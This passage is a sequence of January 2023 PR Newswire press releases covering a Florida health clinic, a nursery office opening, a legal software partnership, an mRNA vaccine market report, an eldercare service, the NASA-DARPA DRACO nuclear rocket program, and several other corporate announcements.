"IMG understands that social determinants of health impact wellbeing, disease, and health outcomes. This is evidenced by our nontraditional delivery of health services directly in communities of need. IMG empowers underserved communities to receive care and embrace healthier lifestyles".  Dr. Kishma Victor, President of IMG Health Clinic

Individual counseling, psychotherapy, medication management, case management, and life management are just some of the newly added services available to IMG's existing patient pool.

"IMG's mental health initiative, in addition to our established services, provides complete, holistic, quality healthcare to the marginalized and underserved people that may not be able to otherwise afford medical services." says Co-Founders of IMG Health Clinic, Clifford W. Knights II and Steve Vixamar.

About IMG Health Clinic

IMG Health Clinic ( www.imghealthclinic.com ), headquartered in Fort Lauderdale, FL, is a community clinic that provides comprehensive healthcare services to help reduce the spread of HIV, Hepatitis C, STDs, and PrEP disparities in some of the most vulnerable, marginalized, and underserved communities across the State of Florida. IMG's President, Dr. Kishma Victor has over 20 years experience working as an executive leader for crisis stabilization units, acute, and chronic mental health facilities across the country. Please follow @imghealthclinic on social media for updates and more information.

Media Contact: Macadoo.com

[email protected]

SOURCE IMG HELPS, Inc
For High-Res Images/B-Roll, Click HERE

SCOTTSDALE, Ariz., Jan. 24, 2023 /PRNewswire/ -- Moon Valley Nurseries, the Southwest's premier plant and tree nursery, commemorated its expansion into a new corporate office in Scottsdale today with a traditional ribbon cutting ceremony that featured appearances from key Arizona dignitaries, property tours and interviews with Moon Valley Nurseries' executive leadership team.

Left to Right: Bill Serva, MVN, CTO; Cheryl Koury, Executive Director, AZ Nursery Association; Matt Gress, AZ State Representative; Scottsdale Councilmember, Betty Janik; Sal Bracale, MVN,VP Operations; Brian Flood, CEO, MVN; David Ortega, Scottsdale Mayor; Tom Durham, Scottsdale Vice Mayor; Tom Ducey, Director of Operations & Membership AZ chamber of commerce and industry; Tammy Caputi, Scottsdale Councilmember; Deborah Keeley, CFO, MVN

The enhanced office space includes both independent offices and cubicles for over 70 onsite employees in addition to multiple meeting rooms and open seating areas for department collaborations. The new office also features a dedicated area for the Moon Valley University  a training room that is fully equipped with drop-down screens, glass whiteboards and desks for employees as they learn and stay updated on industry information.

During the event, CEO Brian Flood gave opening remarks and discussed the significance of the new office and its impact on both the Arizona market and the nursery industry.

"The recent move into a new corporate office came in light of our exponential growth over the past few years," Flood said. "We've remained a leading player in the Southwest nursery industry for decades, and a large part of that is due to the training and information our employees receive every day. The new office space allowed us to enhance our Moon Valley University training program, a key reason why we stay ahead of industry trends."

Scottsdale Mayor David Ortega also spoke at the event, congratulating the Moon Valley Nursery team on its new expansion and further explaining its significance for Scottsdale. Arizona State Representative Matt Gress also spoke about Arizona's growing economy and place as a national leader in attracting and retaining skilled workers. Also present were Scottsdale Councilmember Betty Janik, Phoenix Councilmember Deborah Stark, Maricopa County Supervisor Tom Galvin, Arizona State Representative Matt Gress, Arizona Chamber of Commerce and Industry Director of Operations and Membership Tom Ducey, and Executive Director of the Arizona Nursery Association Cheryl Koury.

The new 25,219-square-foot corporate office is located at 14000 N. Pima Road and was renovated by Phoenix-based Edge Construction and Tempe-based Evolution Design to specially meet Moon Valley Nurseries' collaborative needs.

For more information about Moon Valley Nurseries, please visit moonvalleynurseries.com.

ABOUT MOON VALLEY NURSERIES

Founded in Phoenix, Arizona in 1995, Moon Valley Nurseries is the largest box tree grower in the United States, now operating 19 farms and over 40 retail locations across Arizona, California, Nevada, and Texas, with more than 2,100 acres of nursery property. While leading the industry in professional landscape design, expert planting services, and cutting-edge nutrients and fertilizers, Moon Valley Nurseries is home to the world's best trees and plants. For more information, visit www.moonvalleynurseries.com.

SOURCE Moon Valley Nurseries
Moxo's Customer Interaction Hub to be integrated within Filevine's Legal Case Management Solution

CUPERTINO, Calif., Jan. 24, 2023 /PRNewswire/ -- Moxo , the industry's leading client interaction workflow solution, today announced a partnership with Filevine , the leading legal work platform, to offer enhanced customer experience through streamlined interactions and legal case management for law firms and their clients.

The integration of Moxo's Customer Interaction Hub with Filevine's legal case management platform will modernize the legal client service journey by connecting front office client interaction to back office case management. Through the integration, law firms that partner with both Moxo and Filevine will now be able to establish initial projects for every client case they're managing through Filevine. Law firms' clients will then receive access to Moxo's Customer Interaction Hub to streamline all interactions throughout the case journey  from onboarding to case completion. With Moxo, law firms have the ability to take clients through a structured interaction workflow, exchange messaging, receive documents, engage in case discussions and more, all in one secure, centralized spot. All communication and documentation will also be tracked in Filevine to streamline compliance and simplify the overall client experience.

"Filevine is relentlessly focused on making legal professionals as efficient and effective as possible in their work. This is core to our mission," said Erik Bermudez, VP Strategic Partnerships at Filevine. "In a world of increasing client demands and distractions, the integration between Filevine and Moxo allows legal professionals to focus on what matters most in their legal work by enabling seamless and streamlined interactions with their clients through digital automation. We are excited about this integration and partnership with Moxo, and look forward to enhancing the experience of our mutual customers."

From the first inquiry a law firm receives from a client, to a final case decision, there are a multitude of touch points between clients and lawyers to discuss documents, hold consultation meetings, provide case guidance, receive client approvals and signatures, share case progress, and more. Often, these interactions are highly disjointed across email, phone, in-person visits and text messages. By connecting Moxo's business service platform with Filevine's back office case management solution, law firms have the ability to fully brand and private-label Moxo's Customer Interaction Hub to serve as their digital front office when working with clients.

"We couldn't be more excited about Moxo and Filevine's integration to provide law firms with an end-to-end solution that enables legal professionals to focus on serving clients rather than getting stuck in the chaos of managing manual data entry and communicating within fragmented channels," said Subrah Iyar, Co-founder and CEO at Moxo. "We knew Filevine was the perfect company for Moxo's first partnership in the legal industry, and we're proud to provide our shared clients with a competitive advantage by ensuring the delivery of industry-leading client interactions."

Jointly, Moxo and Filevine will provide immediate benefits to legal firms including increased operational efficiency in client onboarding and servicing, exceptional white-glove client service experiences, and complete management oversight of case interactions that encompasses full visibility of all client activity related to a legal case.

To learn more about Moxo, visit https://www.moxo.com/ . To learn more about Finevine, visit https://www.filevine.com/

About Moxo

Modernize your client interaction management with Moxo

Today's client engagement activities are stuck in the chaos of fragmented silos  requiring significant manual intervention. Moxo provides a Client Interaction Hub for delivering streamlined OneStop service experiences and managing client interactions through modern digital automation. Businesses can streamline deadline-driven client interactions, including account onboarding, account servicing, and exception handling.

Moxo powers client interaction workflows across a diverse set of industries including financial services, consulting, legal, accounting, healthcare, and more. Our customers include companies like Citibank, FIS, Standard Chartered, BNP Paribas, and more.

Our team has a rich history of pioneering in the engagement space: Moxo's co-founder and CEO, Subrah Iyar, was the co-founder and CEO of Webex, and Moxo's co-founder and CTO, Stanley Huang, held senior engineering management positions at Cisco Systems and WebEx. To learn more, visit moxo.com and follow the company on LinkedIn , Twitter and Instagram .

About Filevine

Filevine is changing the way legal work gets done for law practitioners and their clients. As the leading legal work platform, Filevine is dedicated to empowering all organizations with tools to simplify and elevate complex, high-stakes legal work. Powering everything from document management and client communication to contract lifecycle management and business analytics, over 25,000 legal professionals use Filevine daily to deliver excellence in every contract, deadline, and result. Filevine is the top legal software company on the Inc. 5000 list, has been named one of the Utah Business Fast 50, and is among the top 50 fastest-growing privately-owned software companies according to the 2021 Inc. 5000 list.

MEDIA CONTACT

Katie Butler

[email protected]

(614) 507-5512

SOURCE Moxo
There is latest development in the mRNA vaccines market, as the Chinese bank is trying to entice wealthy customers with mRNA vaccines: Exclusive Report by Cognitive Market Research

CHICAGO, Jan. 24, 2023 /PRNewswire/ --

mRNA Vaccines Market Overview:

As per the latest published Cognitive Market Research analysis, the mRNA Vaccines market size is projected to reach $91.14 Billion by 2029 at a CAGR of 6.78% from 2022-2029. Recently the world has witnessed a wave of severe infectious disease outbreaks, which have immensely impacted lives and livelihoods. The rising prevalence of contagious diseases has triggered the demand for mRNA vaccines owing to their efficacy, safety, and low cost. Cognitive's published study says that the APAC region will grow at maximum growth rate in near future owing to the rising use of mRNA vaccines in China followed by India. For instance, Chinese bank is trying to entice wealthy customers with mRNA vaccines. Moreover, fuelled by the successful utilization of the mRNA Covid-19 vaccines, RNA therapeutics is expected to make more significant strides in 2023. Hence, companies are harnessing RNA research through collaborations.

Read the entire published study mRNA Vaccine Market Report 2023 (Global Edition) Page count: 250+

Major findings during the study of the mRNA vaccines market:

 Market for self-amplifying mRNA vaccines is ruling globally as this molecule is more prominent in size with four extra proteins that encode a replica. This enables amplification of the original strand of RNA upon delivery into the cell, resulting in significantly larger levels of protein expression and thus requiring a much lower dose of RNA

 In terms of mRNA vaccine's route of administration, the subcutaneous segment is projected to exhibit the fastest market growth during the forecast period. This can be attributed as larger volume of injection can be given, resulting in high immunogenicity, precluding the need for another vaccine dose

 In terms of end-user, hospitals held a significant market share, and it will show maximum share during the forecast period. This is due to the availability of trained professionals at hospitals that drives the mRNA vaccines market

 North America has dominated the market of mRNA vaccines in the year 2021 owing to the availability of strong R&D activities in the U.S.

 It has been analyzed that APAC will grow at the highest CAGR due to the vigorous development of mRNA vaccines in China followed by India in the predicted period.

 Heavy investment in mRNA vaccine R&D activities by majority of the companies across the globe is expected to create lucrative opportunities for the mRNA vaccines market in the near future

 Supply chain challenges do exist in the mRNA vaccines market due to the involvement of cold storage. However, the COVID-19 pandemic publicly demonstrated the promise of mRNA therapies, resulting in its promising future. The use of mRNA vaccines in COVID-19 will create huge opportunities for the growth of the market.

Snapshot:

mRNA Vaccine Market 2022 Global Revenue (USD Billion) 66.59 CAGR  (2022-2029) 6.78 % Key Type Share Self-amplifying mRNA Vaccines:61.04% Key Route of Administration Share IV:61.25% Key Application Share COVID-19:68.56% Key End-user Share Hospitals:71.25% Key Regional Share North America:35.14%

Major Pharmaceutical and Research Companies responsible for revolutionizing mRNA Vaccines Market:

Players involved in the global mRNA Vaccines market are Pfizer Inc., Alnylam Pharmaceuticals, BioNTech AG, Curevac AG, Etherna Immunotherapies, Ethris GMBH, IN-CELL-ART, Moderna Therapeutics, Sangamo Therapeutics, Inc., Sanofi AG, SCM Life Sciences (Argos Therapeutics, Inc.), Sarepta Therapeutics, Arcturus Therapeutics, Ionis Pharmaceuticals, Inc, Nutcracker, and Tiba Biotech, among others.

Current Trends of Manufacturers in the mRNA Vaccines Market:

November 2022 :

Pfizer and BioNTech initiated a phase 1 study of single-dose mRNA-based combination vaccine for influenza and COVID-19"

The companies announced the advancement of an mRNA-based combination vaccine candidate for influenza and COVID-19 to a Phase 1 trial to address two severe respiratory diseases with one vaccine. The first participant has been dosed in a Phase 1 trial evaluating the safety, tolerability, and immunogenicity of a nucleoside-modified RNA (modRNA)-based combination vaccine approach.

January 2023 :

CureVac announces positive data on joint COVID-19 and Flu mRNA vaccine development program:

CureVac N.V., a biopharmaceutical company developing a new class of transformative medicines based on messenger ribonucleic acid ("mRNA"), has announced positive data on Phase 1 clinical programs in COVID-19 and seasonal flu, assessing both modified and unmodified mRNA technology. The tested vaccine candidates are being developed in collaboration with GSK.

March 2022 :

Alnylam sues Pfizer and Moderna, claiming infringement on its delivery technology for COVID shots:

Alnylam has claimed that it used the lipid nanoparticle delivery technology to create its RNAi drug Onpattro, which was approved in 2018 for polyneuropathy in people with a rare condition hereditary transthyretin-mediated amyloidosis. Thus, the company is seeking fair compensation for using its technology based on patent claims for a broad class of biodegradable lipids invented over a decade ago resulting from extensive research and investment.

To receive the free sample pages of published analysis mRNA Vaccine Market Report 2023 contact us on +1 312-376-8303 or write to us on [email protected].

The mRNA vaccine market has the potential to develop into a competitive modality across various applications because mRNA vaccines can effectively cure any viral or bacterial infection. Additionally, AI, Machine Learning, and robotic process automation can speed up the process by eliminating human error. Therefore, despite its current use as COVID-19 vaccine, the development of mRNA vaccines will continue in the future, particularly as further progress is made in increasing delivery and stability. The market could expand by creating multivalent vaccinations that can be delivered in a single LNP and minimizing the current restrictions.

mRNA Vaccines Market Report Scope

Type:

Conventional mRNA Vaccines

Self-amplifying mRNA Vaccines

Route of Administration:

IV

Subcutaneous

Application:

Cytomegalovirus (CMV)

Influenza

Rabies

Cancer

COVID-19

Others

By End-user:

Hospitals

Clinics

Research Centres

By Regions:

North America (U.S., Canada , Mexico )

(U.S., , ) Europe ( Germany , France , UK, Italy , Spain , Russia , Rest of Europe )

( , , UK, , , , Rest of ) Asia Pacific ( China , Japan , India , South Korea , Australia , Southeast Asia , Rest of APAC)

( , , , , , , Rest of APAC) Latin America ( Brazil , Argentina , Columbia , Rest of Latin America )

( , , , Rest of ) Middle East & Africa (GCC, Saudi Arabia , Turkey , Egypt , rest of MEA)

Reasons to access the Report:

Our report includes information about the industry's competitive landscape, industry trends, key competitors, industry size and outlook. It also offers qualitative analysis, such as PESTEL, porter's, supply chain analysis, and COVID-19 impact analysis. Additionally, report provides in-detailed analysis about the major manufacturers involved in the market. Company profiling includes basic information of the company along with its overview, product description, business strategy, SWOT, and key developments. The report is a blend of consumer behaviour and economic trends that can be used to confirm and improve business strategies. We additionally accept customization of the report as per client requirements to provide more insightful content to readers.

Related Reports to mRNA Vaccines Market Published by Cognitive Market Research:

1) Global Influenza Vaccine Market to Reach $13.29 Billion by 2029

The global influenza vaccine market is expected to hit $13.29 Billion by 2029 at a growth rate of 8.69%. Influenza is one of the common infections that attacks the lungs, nose, and throat. Children, aged people, and pregnant women are more prone to this infection. It travels through respiratory droplets, and is contagious. Hence, proper treatment is required to treat influenza. An increase in influenza epidemics and seasonal outbreaks is likely to expand the demand for the influenza vaccine market. Moreover, Government authorities are constantly working to strengthen national, regional, and global influenza response capacities which further drives the global influenza vaccines market.

Global DTaP Vaccine Market to be Worth $8.34 Billion by 2029

Global DTaP vaccine market to be worth $8.34 Billion by 2029 at a growth rate of 4.85%. DTaP vaccine can prevent diphtheria, tetanus, and pertussis. Rise in urbanization has led to the adoption of a sedentary lifestyle. This has caused a rise in water contamination, which ultimately resulted in the prevalence of infectious diseases. The rise of infectious diseases has increased spending on medicines and vaccines. According to WHO, in 2019, 30 million people were affected by contagious diseases, thus fuelling the demand for vaccines. Thus, the increased prevalence of various infections contributes to the growth of the DTaP vaccines market. Moreover, emerging economies such as Algeria, Argentina, Indonesia, India, Brazil, and China require help from other trade partners globally. These countries create significant growth opportunities for vaccine manufacturers.

Other Related Reports:

 Global Oncology Market to Hit $516.85 Billion by 2029, growing at a CAGR of 7.46%

 Global Viral Vector Vaccines Market to Reach $2.23 Billion by 2029 growing at a CAGR of 15.35%

About Cognitive Market Research Company:

Our company gathers and analyzes data about customers, competitors, distributors, and other market actors and forces. As a market research company we follow a complete process of gathering information about the target market and end-use industries to verify the complete journey of the product in the global market. It helps our readers understand the demand and viability of their product/service and how it might perform in the real world.

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RICHMOND, Va., Jan. 24, 2023 Jan. 24, 2023

/PRNewswire/ -- Naborforce, a high-growth elder tech company that bridges the gap between full independence and traditional care, today announced that it has expanded its multi-state services to the Dallas-Fort Worth metropolitan area. The award-winning business serves as the only on-demand platform capable of matching older adults to a trusted network of "Nabors" who are carefully vetted, ready to lend a hand, and able to assist loved ones age in place at home or wherever they choose. Local residents inspired by a sense of purpose throughout Dallas-Fort Worth are powering Naborforce's innovative business model that has sparked joy and helped older adults age safely and respectfully around the U.S.

Driving the immediate and urgent need for Naborforce's essential offering is an alarming increase in the call for help from families across the Dallas-Fort Worth metropolitan area. Like other communities across the U.S., family members are struggling to balance the demands of supporting older loved ones while attempting to maintain careers, other family obligations, and their own health. According to the AARP, women are shouldering the majority of family caregiving tasks, which is placing additional pressure on today's workforce. The demand on families is anticipated to grow further as 11,000 baby boomers turn 65 every day through 2030. By 2050, the number of people over 80 is projected to triple.

"Necessity is the mother of invention. I went through this with my mom 10 years ago," said Paige Wilson, founder and CEO of Naborforce. "I had a demanding career and was raising my daughter when my mom fell and broke her hip. That was the beginning of her needing little bits of help. She didn't need an aide or a nurse  she just needed me to lend her a hand, set up the bridge table, or help program the television remote. I started looking for backup and found you're either fully independent or you need home care. But my mom didn't need that. I realized that there is a huge gap in the market. She just needed another me. I wanted to push a button and have another trusted person like me show up to lend her a hand with the little things. Today, that's what Naborforce is able to deliver to the community."

Naborforce, which recently closed a $9 million Series A financing round led by Translink Capital, selected Dallas-Fort Worth as part of its most recent market expansion as a result of the quickly spiking demand by older adults in the area seeking support for errands, light help around the home, and social engagement. Dallas-Fort Worth, which serves as Naborforce's first market entry in Texas, is now part of a growing footprint that includes Atlanta, Georgia; Richmond, VA; Charlottesville, VA; Williamsburg, VA; Virginia Beach, VA; Bethesda, MD, and the Northern Virginia area.

"Our population is aging and families around the country are under increasing pressure to find an answer. They are clearly asking for backup. As a solution, we have harnessed the strength of community to dispatch our network of Nabors on-demand in a collective effort to provide a friendly hand when needed so that older adults may remain social and active," said Wilson.

Often referred to as "backup sons and daughters," Naborforce's trusted network of Nabors is hyperlocal and is based upon the strength of community in each area served. Nabors in each network are local residents who are purpose driven and looking to give back. They consist of empty nesters, retirees, grad students, and others with the desire to make independent and joyous aging possible for older adults in Dallas-Fort Worth. The goal of each Nabor is not to provide "care," but rather to serve as a go-to resource for older adults and their family members when a helping hand and a compassionate companion is needed most.

"Feeling connected is a basic human need," added Wilson. "One of the many lessons that the COVID-19 pandemic has taught is the power of human connection. That craving to connect with others doesn't go away as we age. In fact, it can be life-changing for an older person who doesn't need medical care but could still use a boost in other ways to live joyfully."

Clients or their families can simply set up an account  which takes just a couple minutes  and they are ready to start booking help for all the little things that make life better and more joyful for an older person. As an example, Nabors can take a walk with a client, help clean out a closet, set up an iPhone, change an overhead bulb, help prepare a meal, or enjoy a cup of coffee together.

Passionate and caring Dallas-Fort Worth community members wanting to impact the lives of older adults in their area and residents wishing to easily secure a "Nabor" for on-demand support can learn more by visiting www.naborforce.com.

SOURCE Naborforce
WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- NASA and the Defense Advanced Research Projects Agency (DARPA) announced Tuesday a collaboration to demonstrate a nuclear thermal rocket engine in space, an enabling capability for NASA crewed missions to Mars.

NASA and DARPA will partner on the Demonstration Rocket for Agile Cislunar Operations, or DRACO, program. The non-reimbursable agreement, designed to benefit both agencies, outlines roles, responsibilities, and processes aimed at speeding up development efforts.

Caption: Artist concept of Demonstration for Rocket to Agile Cislunar Operations (DRACO) spacecraft, which will demonstrate a nuclear thermal rocket engine. Nuclear thermal propulsion technology could be used for future NASA crewed missions to Mars. Credit: DARPA

"NASA will work with our long-term partner, DARPA, to develop and demonstrate advanced nuclear thermal propulsion technology as soon as 2027. With the help of this new technology, astronauts could journey to and from deep space faster than ever  a major capability to prepare for crewed missions to Mars," said NASA Administrator Bill Nelson. "Congratulations to both NASA and DARPA on this exciting investment, as we ignite the future, together."

Using a nuclear thermal rocket allows for faster transit time, reducing risk for astronauts. Reducing transit time is a key component for human missions to Mars, as longer trips require more supplies and more robust systems. Maturing faster, more efficient transportation technology will help NASA meet its Moon to Mars Objectives.

Other benefits to space travel include increased science payload capacity and higher power for instrumentation and communication. In a nuclear thermal rocket engine, a fission reactor is used to generate extremely high temperatures. The engine transfers the heat produced by the reactor to a liquid propellant, which is expanded and exhausted through a nozzle to propel the spacecraft. Nuclear thermal rockets can be three or more times more efficient than conventional chemical propulsion.

"NASA has a long history of collaborating with DARPA on projects that enable our respective missions, such as in-space servicing," said NASA Deputy Administrator Pam Melroy. "Expanding our partnership to nuclear propulsion will help drive forward NASA's goal to send humans to Mars."

Under the agreement, NASA's Space Technology Mission Directorate (STMD) will lead technical development of the nuclear thermal engine to be integrated with DARPA's experimental spacecraft. DARPA is acting as the contracting authority for the development of the entire stage and the engine, which includes the reactor. DARPA will lead the overall program including rocket systems integration and procurement, approvals, scheduling, and security, cover safety and liability, and ensure overall assembly and integration of the engine with the spacecraft. Over the course of the development, NASA and DARPA will collaborate on assembly of the engine before the in-space demonstration as early as 2027.

"DARPA and NASA have a long history of fruitful collaboration in advancing technologies for our respective goals, from the Saturn V rocket that took humans to the Moon for the first time to robotic servicing and refueling of satellites," said Dr. Stefanie Tompkins, director, DARPA. "The space domain is critical to modern commerce, scientific discovery, and national security. The ability to accomplish leap-ahead advances in space technology through the DRACO nuclear thermal rocket program will be essential for more efficiently and quickly transporting material to the Moon and eventually, people to Mars."

The last nuclear thermal rocket engine tests conducted by the United States occurred more than 50 years ago under NASA's Nuclear Engine for Rocket Vehicle Application and Rover projects.

"With this collaboration, we will leverage our expertise gained from many previous space nuclear power and propulsion projects," said Jim Reuter, associate administrator for STMD. "Recent aerospace materials and engineering advancements are enabling a new era for space nuclear technology, and this flight demonstration will be a major achievement toward establishing a space transportation capability for an Earth-Moon economy."

NASA, the Department of Energy (DOE), and industry are also developing advanced space nuclear technologies for multiple initiatives to harness power for space exploration. Through NASA's Fission Surface Power project, DOE awarded three commercial design efforts to develop nuclear power plant concepts that could be used on the surface of the Moon and, later, Mars.

NASA and DOE are working another commercial design effort to advance higher temperature fission fuels and reactor designs as part of a nuclear thermal propulsion engine. These design efforts are still under development to support a longer-range goal for increased engine performance and will not be used for the DRACO engine.

To learn more about STMD, please visit:

https://www.nasa.gov/spacetech

SOURCE NASA
New American Funding and EasyKnock to offer innovative solutions to underserved communities, helping customers to stay in the neighborhoods and school systems they love and have built their lives in

TUSTIN, Calif., Jan. 24, 2023 /PRNewswire/ -- New American Funding , one of the nation's largest, independent and Latina-owned mortgage companies, and EasyKnock , the first technology-enabled residential sale-leaseback platform, today announced their partnership that will offer programs that provide flexibility to American homeowners.

Through EasyKnock's residential sale-leaseback programs, New American Funding offers new, innovative solutions that will provide equal opportunity for homeowners to access their home equity through credible and non-traditional means, helping them to stay in their communities and school systems.

Together, New American Funding and EasyKnock are committed to helping customers access the home equity that they have earned and worked hard for, allowing these homeowners to pay off debts, provide for their families and unlock their financial freedom all while staying in the homes that they know and love.

As a leading lender to minorities in the U.S., New American Funding has made its mark as a business that is committed to supporting people of all backgrounds to achieve the dream of homeownership. The company focuses on helping those in underserved communities buy a home and secure their financial future through unique programs and initiatives. These efforts have led the company to be a leader in lending to Hispanic and Black borrowers.

"We've built our business on helping people from all walks of life, and this partnership will allow us to take those efforts to the next level," said Rick Arvielo, CEO and co-founder of New American Funding. "Through this partnership, we will expand our reach of people that we can help to remain in their homes and access equity for their financial planning. Working alongside EasyKnock, we hope to set our customers up for the future and establish a foundation for their success so they can work towards their goals."

EasyKnock's residential sale-leaseback programs provide an alternative means of realizing a benefit of homeownership  accessing the accumulated wealth in the home  often denied to homeowners who can't or don't want to take on additional debt. By selling their homes to EasyKnock and staying on as renters, customers convert their equity to cash, remain in their communities, and have the flexibility and control to repurchase the homes on their own timelines.

"Around a quarter of American homeowners cannot access their own equity in their homes because of strict lending restrictions, and we have teamed up with New American Funding to service these communities," said Jarred Kessler, CEO and founder of EasyKnock. "Together, our mission is to improve housing stability for our mutual customers, providing them liquidity, flexibility and control in their finances. We're excited about our alignment in purpose and value, and look forward to seeing what we can do for American families through our conjoined efforts."

About New American Funding

New American Funding is an independent mortgage lender with a servicing portfolio of 243,000+ loans for approximately $64.2 billion and more than 150 nationwide locations. In 2022, New American Funding was ranked #1 by J.D. Power in Customer Satisfaction among Mortgage Servicers. The company was also named #18 on the Fortune 100 Best Companies to Work For in 2022 and has made Inc. 5000's list of Fastest-Growing Companies in America eight times. The company offers state-of-the-art career training and provides its branch Loan Officers with innovative technologies to streamline the mortgage process.

About EasyKnock

EasyKnock is the first-to-market, technology-enabled residential sale-leaseback company in the U.S. Through our innovative and accessible solutions, American homeowners who sell their property to EasyKnock can remain in their homes as renters while still getting the cash they need to pursue their financial goals. Headquartered in New York City and founded in 2016, EasyKnock has more than 120 employees nationwide working to help homeowners unlock their financial freedom through non-loan programs so they can pay off debts, buy their dream home, fund a venture, and more. For more information, please visit www.easyknock.com .

SOURCE New American Funding
Using Platform-Connected Data, CARS Offers Dealers a Free Preview of How to Maximize Their Trade-in Process, Brand Reputation and Targeted Marketing Efforts

CHICAGO, Jan. 24, 2023 /PRNewswire/ -- With the Cars.com Inc . (NYSE: CARS) platform further strengthened by recently integrated companies such as Accu-Trade and CreditIQ, the richness and scope of its data offering continues to grow. CARS will offer three free, personalized reports for dealers leveraging its platform-connected data at this week's 2023 National Association of Automobile Dealers (NADA) Show in Dallas Jan. 27-29.

Dealers can visit CARS Booth #509 in Hall A at the Kay Bailey Hutchison Convention Center Dallas or reach out to their CARS account rep to gain access to their personalized reports:

The Accu-Save Calculator: Approximately 45% of vehicles sold at a dealership have a trade-in attached. With a standard in-store appraisal averaging 20 minutes per vehicle, dealerships are wasting hundreds of hours on outdated trade-in processes. An Accu-Trade appraisal takes as little as two minutes, and its unique, patent-pending OBD scanner identifies reconditioning issues in 1 of every 4 scanned vehicles  something often missed in traditional appraisals  saving dealers thousands in profitability by identifying maintenance needs before acquisition. Using a dealer's current inventory feed, the report delivers a personalized summary of the time waste and opportunity cost of traditional appraisals and potential cost savings that could be realized by modernizing.

Approximately 45% of vehicles sold at a dealership have a trade-in attached. With a standard in-store appraisal averaging 20 minutes per vehicle, dealerships are wasting hundreds of hours on outdated trade-in processes. An Accu-Trade appraisal takes as little as two minutes, and its unique, patent-pending OBD scanner identifies reconditioning issues in 1 of every 4 scanned vehicles  something often missed in traditional appraisals  saving dealers thousands in profitability by identifying maintenance needs before acquisition. Using a dealer's current inventory feed, the report delivers a personalized summary of the time waste and opportunity cost of traditional appraisals and potential cost savings that could be realized by modernizing. The Experience Review: Reputation matters, and while dealer reviews through DealerRater offer valuable insights, it's now possible to leverage those reviews for macro-level business improvements. Through natural language processing, a type of artificial intelligence, CARS has developed a personalized report identifying which dealership areas are over- or underperforming based on the detailed content of reviews across Cars.com and DealerRater. The information helps dealers focus on opportunities to build a stronger brand reputation.

Reputation matters, and while dealer reviews through DealerRater offer valuable insights, it's now possible to leverage those reviews for macro-level business improvements. Through natural language processing, a type of artificial intelligence, CARS has developed a personalized report identifying which dealership areas are over- or underperforming based on the detailed content of reviews across Cars.com and DealerRater. The information helps dealers focus on opportunities to build a stronger brand reputation. The FUEL In-Market Map Planner: Dealers looking to maximize cost-effective market share growth must start with high-quality data. Back by popular demand, the FUEL In-Market Map Planner leverages Cars.com's pure, in-market audience data to build a customized, geographically targeted, multiscreen audience plan. Dealers can get a sneak preview of competitors' claimed territories to ensure prime placement in the markets that matter most. This year, the report includes in-market display, social and video.

Dealers looking for more information can visit CARS Booth #509 in Hall A at the Kay Bailey Hutchison Convention Center Dallas Jan. 27-29 at the 2023 NADA Show or reach out to their CARS rep.

Sources:

1.NADA data, franchise dealers only, December 2022

CARS is the leading automotive marketplace platform that provides a robust set of digital solutions that connect car shoppers with sellers. Launched in 1998 with the flagship marketplace Cars.com and headquartered in Chicago, the Company empowers shoppers with the data, resources and digital tools needed to make informed buying decisions and seamlessly connect with automotive retailers. In a rapidly changing market, CARS enables dealerships and OEMs with innovative technical solutions and data-driven intelligence to better reach and influence ready-to-buy shoppers, increase inventory turn and gain market share.

In addition to Cars.com, the Company's brands include Dealer Inspire, a technology provider building solutions to future-proof dealerships with more efficient operations and connected digital experiences; FUEL, an advertising solution providing dealers and OEMs the benefit of leveraging targeted digital video marketing to Cars.com's audience of in-market car shoppers; DealerRater, a leading car dealer review and reputation management technology solution; CreditIQ, digital financing technology and Accu-Trade, vehicle valuation and appraisal technology. The Company's portfolio of brands also includes Auto.com, PickupTrucks.com and NewCars.com.

The full suite of CARS properties includes Cars.com, Dealer Inspire, FUEL, DealerRater, CreditIQ, Accu-Trade.com, Auto.com, PickupTrucks.com and NewCars.com. For more information, visit www.Cars.com.

SOURCE Cars.com Inc.
New Jersey Advocates for Aging Well (NJAAW) sees unique opportunity for NJ employers to address talent shortages through participation in Certified Age-Friendly Employer (CAFE) program

New Jersey older adults who consider age an impediment in their job search will know which employers' doors to knock on first when it comes to working in "retirement"

older adults who consider age an impediment in their job search will know which employers' doors to knock on first when it comes to working in "retirement" CAFE Program, hailed as "New National Model" by the U.S. Labor Secretary, is now addressing workforce needs across all industries

WALTHAM, Mass. and HAMILTON, N.J., Jan. 24, 2023 /PRNewswire/ -- NJAAW (New Jersey Advocates for Aging Well) and the Age-Friendly Institute announced a partnership to make it easier for older New Jersey residents to land work with employers that proactively recruit and retain age 50+ employees. Age-Friendly Institute President Tim Driver and NJAAW Executive Director Cathy Rowe said "we're delighted to join forces to better connect employers and older residents in the great state of New Jersey."

The Certified Age-Friendly Employer (CAFE) Program, developed by a team of analysts and professionals with specializations in compensation, benefits and HR, began establishing best practices for being an age-friendly employer in 2006. There are hundreds of employers in the program across all industries, including both the private and public sectors.

Helping older adults work longer includes stakeholders of many stripes. They include research and advocacy organizations like NJAAW and the Age-Friendly Institute; Also policy makers, like the State of Massachusetts, which in 2022 became the first state in the U.S. to become certified as an age-friendly employer. The Massachusetts action, announced by Governor Charlie Baker, is spurring more states to seek the designation. Policymakers in States like Massachusetts are choosing to lead by example. They also want to drive healthy aging and economic expansion through increased labor force participation. See more of the press release by clicking here.

Media Contact For Age-Friendly Institute:

Emily Johnson

[email protected]

Media Contact For NJ Advocates for Aging Well:

Cathy Rowe

[email protected]

SOURCE Age-Friendly Institute
Laura Bryant of Central Elementary in Las Cruces and Rita Chavira of Desert View Elementary in Sunland Park receive national recognition for their best-in-class teaching and use of educational programs

NORTH BILLERICA, Mass., Jan. 24, 2023 /PRNewswire/ -- Curriculum Associates has named Laura Bryant of Central Elementary in Las Cruces, NM and Rita Chavira of Desert View Elementary in Sunland Park, NM to its 2023 class of Extraordinary Educators, an annual program that celebrates and connects exemplar teachers in Grades K8 from around the country. Chosen from hundreds of nominations, Bryant and Chavira are among 30 educators from 22 states selected for exhibiting best-in-class use of i-Ready, i-Ready Classroom Mathematics, and/or Ready, illustrating growth and achievement via formal assessments, demonstrating innovation and engagement practices for students, being evangelists for high expectations and student achievement, championing equity, and having taught for at least two years.

"Teachers are true rockstars," said Emily McCann, vice president of educator community at Curriculum Associates. "This year's Extraordinary Educators are no exceptionthey were chosen from hundreds of nominations and represent the best of the best. We are happy to recognize and celebrate Laura and Rita for their amazing work in the classroom and look forward to providing them with ongoing professional learning and networking opportunities to help them continue to grow their craft."

